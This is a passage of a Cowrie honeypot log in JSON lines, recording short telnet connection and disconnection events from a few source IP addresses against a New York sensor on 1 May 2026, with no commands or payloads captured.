{"eventid":"cowrie.session.closed","duration":31.055176496505737,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:02.091459Z","src_ip":"135.148.33.217","session":"06cbb8c49b49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.744520902633667,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:02.133073Z","src_ip":"99.198.111.122","session":"05c0a80647fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":56494,"dst_ip":"10.17.0.5","dst_port":23,"session":"6801861894e6","protocol":"telnet","message":"New connection: 99.198.111.122:56494 (10.17.0.5:23) [session: 6801861894e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:02.191391Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":57274,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7e0544eede2","protocol":"telnet","message":"New connection: 99.198.111.122:57274 (10.17.0.5:23) [session: d7e0544eede2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:02.478101Z"}
{"eventid":"cowrie.session.closed","duration":31.166264533996582,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:02.486230Z","src_ip":"195.154.29.177","session":"7190b21d3bb7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":46072,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bb0b18b266a","protocol":"telnet","message":"New connection: 135.148.33.217:46072 (10.17.0.5:23) [session: 3bb0b18b266a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:02.677345Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":58772,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f324f916d2f","protocol":"telnet","message":"New connection: 99.198.111.122:58772 (10.17.0.5:23) [session: 7f324f916d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:03.058513Z"}
{"eventid":"cowrie.session.closed","duration":31.13683843612671,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:03.317872Z","src_ip":"160.250.4.73","session":"cbd4536b139d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.576987266540527,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:03.521517Z","src_ip":"99.198.111.122","session":"07b2e487b0cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":52436,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab0bf8542a4a","protocol":"telnet","message":"New connection: 195.154.29.177:52436 (10.17.0.5:23) [session: ab0bf8542a4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:03.599369Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":35136,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd3e475de0fe","protocol":"telnet","message":"New connection: 160.250.4.73:35136 (10.17.0.5:23) [session: fd3e475de0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:03.704504Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":35152,"dst_ip":"10.17.0.5","dst_port":23,"session":"b84b819a748a","protocol":"telnet","message":"New connection: 160.250.4.73:35152 (10.17.0.5:23) [session: b84b819a748a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:03.838308Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":47716,"dst_ip":"10.17.0.5","dst_port":23,"session":"b05ae0dd9e07","protocol":"telnet","message":"New connection: 135.148.33.217:47716 (10.17.0.5:23) [session: b05ae0dd9e07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:03.924437Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":47744,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb8326d16a9","protocol":"telnet","message":"New connection: 135.148.33.217:47744 (10.17.0.5:23) [session: 1cb8326d16a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:03.953807Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":33272,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9841ca41ea7","protocol":"telnet","message":"New connection: 99.198.111.122:33272 (10.17.0.5:23) [session: f9841ca41ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:04.132946Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":35466,"dst_ip":"10.17.0.5","dst_port":23,"session":"f632aa4df906","protocol":"telnet","message":"New connection: 133.130.75.21:35466 (10.17.0.5:23) [session: f632aa4df906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:04.312727Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":34066,"dst_ip":"10.17.0.5","dst_port":23,"session":"930e0bce60c4","protocol":"telnet","message":"New connection: 99.198.111.122:34066 (10.17.0.5:23) [session: 930e0bce60c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:04.476129Z"}
{"eventid":"cowrie.session.closed","duration":30.392374753952026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:05.008377Z","src_ip":"216.22.21.200","session":"5cf23a4e4b06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":49646,"dst_ip":"10.17.0.5","dst_port":23,"session":"a23f2ceef833","protocol":"telnet","message":"New connection: 135.148.33.217:49646 (10.17.0.5:23) [session: a23f2ceef833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:05.270481Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":37126,"dst_ip":"10.17.0.5","dst_port":23,"session":"f620570f7629","protocol":"telnet","message":"New connection: 99.198.111.122:37126 (10.17.0.5:23) [session: f620570f7629]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:05.676876Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":38214,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4ae73f1ad34","protocol":"telnet","message":"New connection: 99.198.111.122:38214 (10.17.0.5:23) [session: a4ae73f1ad34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:06.090606Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":38218,"dst_ip":"10.17.0.5","dst_port":23,"session":"12c4f5a203dd","protocol":"telnet","message":"New connection: 99.198.111.122:38218 (10.17.0.5:23) [session: 12c4f5a203dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:06.096300Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":50498,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5954cf40b6d","protocol":"telnet","message":"New connection: 135.148.33.217:50498 (10.17.0.5:23) [session: d5954cf40b6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:06.187516Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":38596,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd8aaef49002","protocol":"telnet","message":"New connection: 99.198.111.122:38596 (10.17.0.5:23) [session: cd8aaef49002]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:06.241132Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":38950,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ae5afe09e7e","protocol":"telnet","message":"New connection: 99.198.111.122:38950 (10.17.0.5:23) [session: 4ae5afe09e7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:06.361637Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":39468,"dst_ip":"10.17.0.5","dst_port":23,"session":"89a88524e43c","protocol":"telnet","message":"New connection: 99.198.111.122:39468 (10.17.0.5:23) [session: 89a88524e43c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:06.559016Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":39950,"dst_ip":"10.17.0.5","dst_port":23,"session":"b827932ad852","protocol":"telnet","message":"New connection: 99.198.111.122:39950 (10.17.0.5:23) [session: b827932ad852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:06.736540Z"}
{"eventid":"cowrie.session.closed","duration":31.390620708465576,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:06.749665Z","src_ip":"195.154.29.177","session":"8491892c431d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.154.29.177","src_port":59418,"dst_ip":"10.17.0.5","dst_port":23,"session":"89034916e9f4","protocol":"telnet","message":"New connection: 195.154.29.177:59418 (10.17.0.5:23) [session: 89034916e9f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:06.806030Z"}
{"eventid":"cowrie.session.closed","duration":30.881401300430298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:06.843421Z","src_ip":"64.235.40.29","session":"dd42112d1f71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":40576,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffbb947de7ca","protocol":"telnet","message":"New connection: 99.198.111.122:40576 (10.17.0.5:23) [session: ffbb947de7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:06.970147Z"}
{"eventid":"cowrie.session.closed","duration":31.04092240333557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:07.021362Z","src_ip":"135.148.33.217","session":"8cd6e65ace34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81948232650757,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:07.064639Z","src_ip":"64.235.40.29","session":"1adfb284c82f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.556879997253418,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:07.130826Z","src_ip":"99.198.111.122","session":"570a94b1142e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":52168,"dst_ip":"10.17.0.5","dst_port":23,"session":"7015609f9a16","protocol":"telnet","message":"New connection: 135.148.33.217:52168 (10.17.0.5:23) [session: 7015609f9a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:07.202172Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40362,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9574a0d1aca","protocol":"telnet","message":"New connection: 64.235.40.29:40362 (10.17.0.5:23) [session: e9574a0d1aca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:07.275071Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":41766,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff22cedc2332","protocol":"telnet","message":"New connection: 99.198.111.122:41766 (10.17.0.5:23) [session: ff22cedc2332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:07.437765Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.249.116","src_port":49376,"dst_ip":"159.203.135.109","dst_port":23,"session":"e98853a41a62","protocol":"telnet","message":"New connection: 31.41.249.116:49376 (159.203.135.109:23) [session: e98853a41a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:07.890314Z"}
{"eventid":"cowrie.session.closed","duration":30.753425121307373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:08.026119Z","src_ip":"99.198.111.122","session":"3b529f00da38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.612404823303223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:08.030875Z","src_ip":"216.22.21.200","session":"664c1ccb0125","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":43354,"dst_ip":"10.17.0.5","dst_port":23,"session":"f04af27a145c","protocol":"telnet","message":"New connection: 99.198.111.122:43354 (10.17.0.5:23) [session: f04af27a145c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:08.088049Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.235.40.29","src_port":40366,"dst_ip":"10.17.0.5","dst_port":23,"session":"186982e653dc","protocol":"telnet","message":"New connection: 64.235.40.29:40366 (10.17.0.5:23) [session: 186982e653dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:08.096856Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":53450,"dst_ip":"10.17.0.5","dst_port":23,"session":"158b66823b54","protocol":"telnet","message":"New connection: 135.148.33.217:53450 (10.17.0.5:23) [session: 158b66823b54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:08.139046Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":44884,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e35efff91fb","protocol":"telnet","message":"New connection: 99.198.111.122:44884 (10.17.0.5:23) [session: 0e35efff91fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:08.644882Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":45024,"dst_ip":"10.17.0.5","dst_port":23,"session":"abbab87be93b","protocol":"telnet","message":"New connection: 99.198.111.122:45024 (10.17.0.5:23) [session: abbab87be93b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:08.713986Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":45080,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c45308e4614","protocol":"telnet","message":"New connection: 99.198.111.122:45080 (10.17.0.5:23) [session: 6c45308e4614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:08.741900Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":45208,"dst_ip":"10.17.0.5","dst_port":23,"session":"12ca4e2402be","protocol":"telnet","message":"New connection: 99.198.111.122:45208 (10.17.0.5:23) [session: 12ca4e2402be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:08.811533Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":54214,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1510149b8c9","protocol":"telnet","message":"New connection: 135.148.33.217:54214 (10.17.0.5:23) [session: e1510149b8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:08.904424Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":35154,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccfadcad754d","protocol":"telnet","message":"New connection: 160.250.4.73:35154 (10.17.0.5:23) [session: ccfadcad754d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:08.960411Z"}
{"eventid":"cowrie.session.closed","duration":30.505120277404785,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:09.147245Z","src_ip":"160.250.4.73","session":"33a560911a66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.891454219818115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:09.178828Z","src_ip":"135.148.33.217","session":"d4b41589419c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":46128,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e27365fd5e8","protocol":"telnet","message":"New connection: 99.198.111.122:46128 (10.17.0.5:23) [session: 3e27365fd5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:09.257908Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":46350,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9169e089339","protocol":"telnet","message":"New connection: 99.198.111.122:46350 (10.17.0.5:23) [session: c9169e089339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:09.340406Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":55116,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6655573c390","protocol":"telnet","message":"New connection: 216.22.21.200:55116 (10.17.0.5:23) [session: f6655573c390]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:09.360334Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":53902,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b99444fcb76","protocol":"telnet","message":"New connection: 162.241.40.195:53902 (10.17.0.5:23) [session: 9b99444fcb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:09.588992Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":53460,"dst_ip":"10.17.0.5","dst_port":23,"session":"46a6fd9e02b1","protocol":"telnet","message":"New connection: 160.250.4.73:53460 (10.17.0.5:23) [session: 46a6fd9e02b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:09.635427Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.22.21.200","src_port":55480,"dst_ip":"10.17.0.5","dst_port":23,"session":"863089397a92","protocol":"telnet","message":"New connection: 216.22.21.200:55480 (10.17.0.5:23) [session: 863089397a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:09.672207Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":47642,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b982cf7dc13","protocol":"telnet","message":"New connection: 99.198.111.122:47642 (10.17.0.5:23) [session: 7b982cf7dc13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:09.859600Z"}
{"eventid":"cowrie.session.closed","duration":31.20577645301819,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:10.141843Z","src_ip":"160.250.4.73","session":"f13be3035ee4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":48262,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4f2004dd5d4","protocol":"telnet","message":"New connection: 99.198.111.122:48262 (10.17.0.5:23) [session: a4f2004dd5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:10.158924Z"}
{"eventid":"cowrie.session.closed","duration":30.47044324874878,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:10.272548Z","src_ip":"195.154.29.177","session":"58348f6067b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":48786,"dst_ip":"10.17.0.5","dst_port":23,"session":"d838c702d0c5","protocol":"telnet","message":"New connection: 99.198.111.122:48786 (10.17.0.5:23) [session: d838c702d0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:10.380027Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":48946,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcf4159f38a5","protocol":"telnet","message":"New connection: 99.198.111.122:48946 (10.17.0.5:23) [session: fcf4159f38a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:10.441721Z"}
{"eventid":"cowrie.session.closed","duration":31.434548139572144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:10.925186Z","src_ip":"195.154.29.177","session":"f8761a1bb35c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.182236194610596,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:11.019914Z","src_ip":"135.148.33.217","session":"2501d045c4f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.50322127342224,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:11.031677Z","src_ip":"99.198.111.122","session":"5ceaa255a3f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":51446,"dst_ip":"10.17.0.5","dst_port":23,"session":"72433590eab2","protocol":"telnet","message":"New connection: 99.198.111.122:51446 (10.17.0.5:23) [session: 72433590eab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:11.300063Z"}
{"eventid":"cowrie.session.closed","duration":30.983074188232422,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:11.591029Z","src_ip":"99.198.111.122","session":"b2844cf48bc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":52392,"dst_ip":"10.17.0.5","dst_port":23,"session":"3556bd11f337","protocol":"telnet","message":"New connection: 99.198.111.122:52392 (10.17.0.5:23) [session: 3556bd11f337]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:11.615366Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":53466,"dst_ip":"10.17.0.5","dst_port":23,"session":"57a8e14eafbb","protocol":"telnet","message":"New connection: 99.198.111.122:53466 (10.17.0.5:23) [session: 57a8e14eafbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:12.017284Z"}
{"eventid":"cowrie.session.closed","duration":30.763590097427368,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:12.033442Z","src_ip":"99.198.111.122","session":"808fa41e9c22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.62568163871765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:12.037604Z","src_ip":"99.198.111.122","session":"d409db9857cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":53620,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf198ee31e5a","protocol":"telnet","message":"New connection: 99.198.111.122:53620 (10.17.0.5:23) [session: bf198ee31e5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:12.077373Z"}
{"eventid":"cowrie.session.closed","duration":30.606894731521606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:12.086483Z","src_ip":"99.198.111.122","session":"ad14736087c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.40.195","src_port":55374,"dst_ip":"10.17.0.5","dst_port":23,"session":"7058f7b0ff7a","protocol":"telnet","message":"New connection: 162.241.40.195:55374 (10.17.0.5:23) [session: 7058f7b0ff7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:12.114094Z"}
{"eventid":"cowrie.session.closed","duration":30.217525005340576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:12.156455Z","src_ip":"195.154.29.177","session":"1d2d99b71dfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112205982208252,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:12.184906Z","src_ip":"135.148.33.217","session":"9ec5ffb18395","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":58192,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f968f2d3d3a","protocol":"telnet","message":"New connection: 135.148.33.217:58192 (10.17.0.5:23) [session: 3f968f2d3d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:57:12.190118Z"}
